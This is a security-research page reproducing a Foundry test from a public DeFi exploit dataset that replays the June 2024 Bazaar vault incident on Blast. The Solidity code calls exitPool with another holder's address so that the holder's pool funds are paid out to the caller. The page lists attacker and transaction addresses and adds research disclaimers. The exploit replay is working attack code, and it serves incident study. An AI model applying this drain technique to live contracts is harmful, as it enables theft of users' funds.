Public reproduction file

src/test/2024-06/Bazaar_exp.sol

Public reproduction file for dataset entry Bazaar.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-06/Bazaar_exp.sol62 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : 1.4M
8// Attacker : https://blastscan.io/address/0x3cf5B87726Af770c94494E886d2A69c42A203884
9// Attack Contract : https://blastscan.io/address/0xd31c7a22f4e6f928f1d4adabbc08c7bf88a3e402
10// Vulnerable Contract : https://blastscan.io/address/0xefb4e3Cc438eF2854727A7Df0d0baf844484EdaB
11// Attack Tx : https://blastscan.io/tx/0x7fdd140f7631f62d62f7256ee4a38af51a4723ad5d66adc9b9685bf78f750f2d
12 
13// @Info
14// Vulnerable Contract Code : https://blastscan.io/address/0xefb4e3Cc438eF2854727A7Df0d0baf844484EdaB#code
15 
16// @Analysis
17// Post-mortem :
18// Twitter Guy : https://x.com/shoucccc/status/1800353122159833195
19// Hacking God :
20pragma solidity ^0.8.0;
21 
22contract Bazaar is BaseTestWithBalanceLog {
23    uint256 private constant BLOCKNUM_TO_FORK_FROM = 4_619_716;
24    uint256 private constant MAX_ETH_OUT = 850_000_000 ether;
25    uint256 private constant EXPECTED_ETH = 392.368916743742801361 ether;
26 
27    address private constant WETH_ADDRESS = 0x4300000000000000000000000000000000000004;
28    address private constant RYOLO_ADDRESS = 0x86cba7808127d76deaC14ec26eF6000Aa78b2eBb;
29    address private constant VULN_VAULT_ADDRESS = 0xefb4e3Cc438eF2854727A7Df0d0baf844484EdaB;
30 
31    IWETH private constant weth = IWETH(payable(WETH_ADDRESS));
32    IBalancerVault private constant vulnVault = IBalancerVault(VULN_VAULT_ADDRESS);
33 
34    address private constant HOLDER_TO_TAKE_FROM = 0xb66585C4E460D49154D50325CE60aDC44bc900E9;
35    bytes32 private constant TARGET_ID = 0xdc4a9779d6084c1ab3e815b67ed5e6780ccf4d90000200000000000000000001;
36 
37    receive() external payable {}
38 
39    function setUp() public {
40        vm.createSelectFork("blast", BLOCKNUM_TO_FORK_FROM);
41        fundingToken = address(weth);
42    }
43 
44    function testExploit() public balanceLog {
45        vulnVault.exitPool(TARGET_ID, HOLDER_TO_TAKE_FROM, payable(address(this)), buildExitPoolRequest());
46        assertEq(getFundingBal(), EXPECTED_ETH, "Did not get expected ETH");
47    }
48 
49    function buildExitPoolRequest() private view returns (IBalancerVault.ExitPoolRequest memory) {
50        IBalancerVault.ExitPoolRequest memory request = IBalancerVault.ExitPoolRequest({
51            asset: new address[](2),
52            minAmountsOut: new uint256[](2),
53            userData: abi.encode(1, MAX_ETH_OUT),
54            toInternalBalance: false
55        });
56        request.asset[0] = address(weth);
57        request.asset[1] = RYOLO_ADDRESS;
58        request.minAmountsOut[0] = 0;
59        request.minAmountsOut[1] = 0;
60        return request;
61    }
62}

Analysis

Dataset entry

Public Foundry test for “Bazaar” (2024-06-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/basetest.solImported by this file · 142 lines
src/test/interface.solImported by this file · 6133 lines
src/test/2024-06/APEMAGA_exp.solSame month in the dataset · 66 lines
src/test/2024-06/Crb2_exp.solSame month in the dataset · 101 lines
src/test/2024-06/Dyson_money_exp.solSame month in the dataset · 108 lines
src/test/2024-06/INcufi_exp.solSame month in the dataset · 208 lines
src/test/2024-06/JokInTheBox_exp.solSame month in the dataset · 70 lines
src/test/2024-06/MineSTM_exp.solSame month in the dataset · 63 lines
src/test/2024-06/NCD_exp.solSame month in the dataset · 112 lines
src/test/2024-06/SteamSwap_exp.solSame month in the dataset · 77 lines
src/test/2024-06/UwuLend_First_exp.solSame month in the dataset · 620 lines
src/test/2024-06/Velocore_exp.solSame month in the dataset · 159 lines
src/test/2024-06/WIFCOIN_ETH_exp.solSame month in the dataset · 62 lines
src/test/2024-06/Will_exp.solSame month in the dataset · 63 lines
src/test/2024-06/YYS_exp.solSame month in the dataset · 79 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x3cf5b87726af770c94494e886d2a69c42a203884
Attack Contract
0xd31c7a22f4e6f928f1d4adabbc08c7bf88a3e402
Vulnerable Contract
0xefb4e3cc438ef2854727a7df0d0baf844484edab

Attack Tx
0x7fdd140f7631f62d62f7256ee4a38af51a4723ad5d66adc9b9685bf78f750f2d

Twitter: https://x.com/shoucccc/status/1800353122159833195

File record

Name: Bazaar
Path: src/test/2024-06/Bazaar_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: be39caabdaaca136de2fc2a24adfc8297868b9f3
Language: Solidity
Size: 63 lines
Date: 2024-06-10
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-06/Bazaar_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob be39caabdaaca136de2fc2a24adfc8297868b9f3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.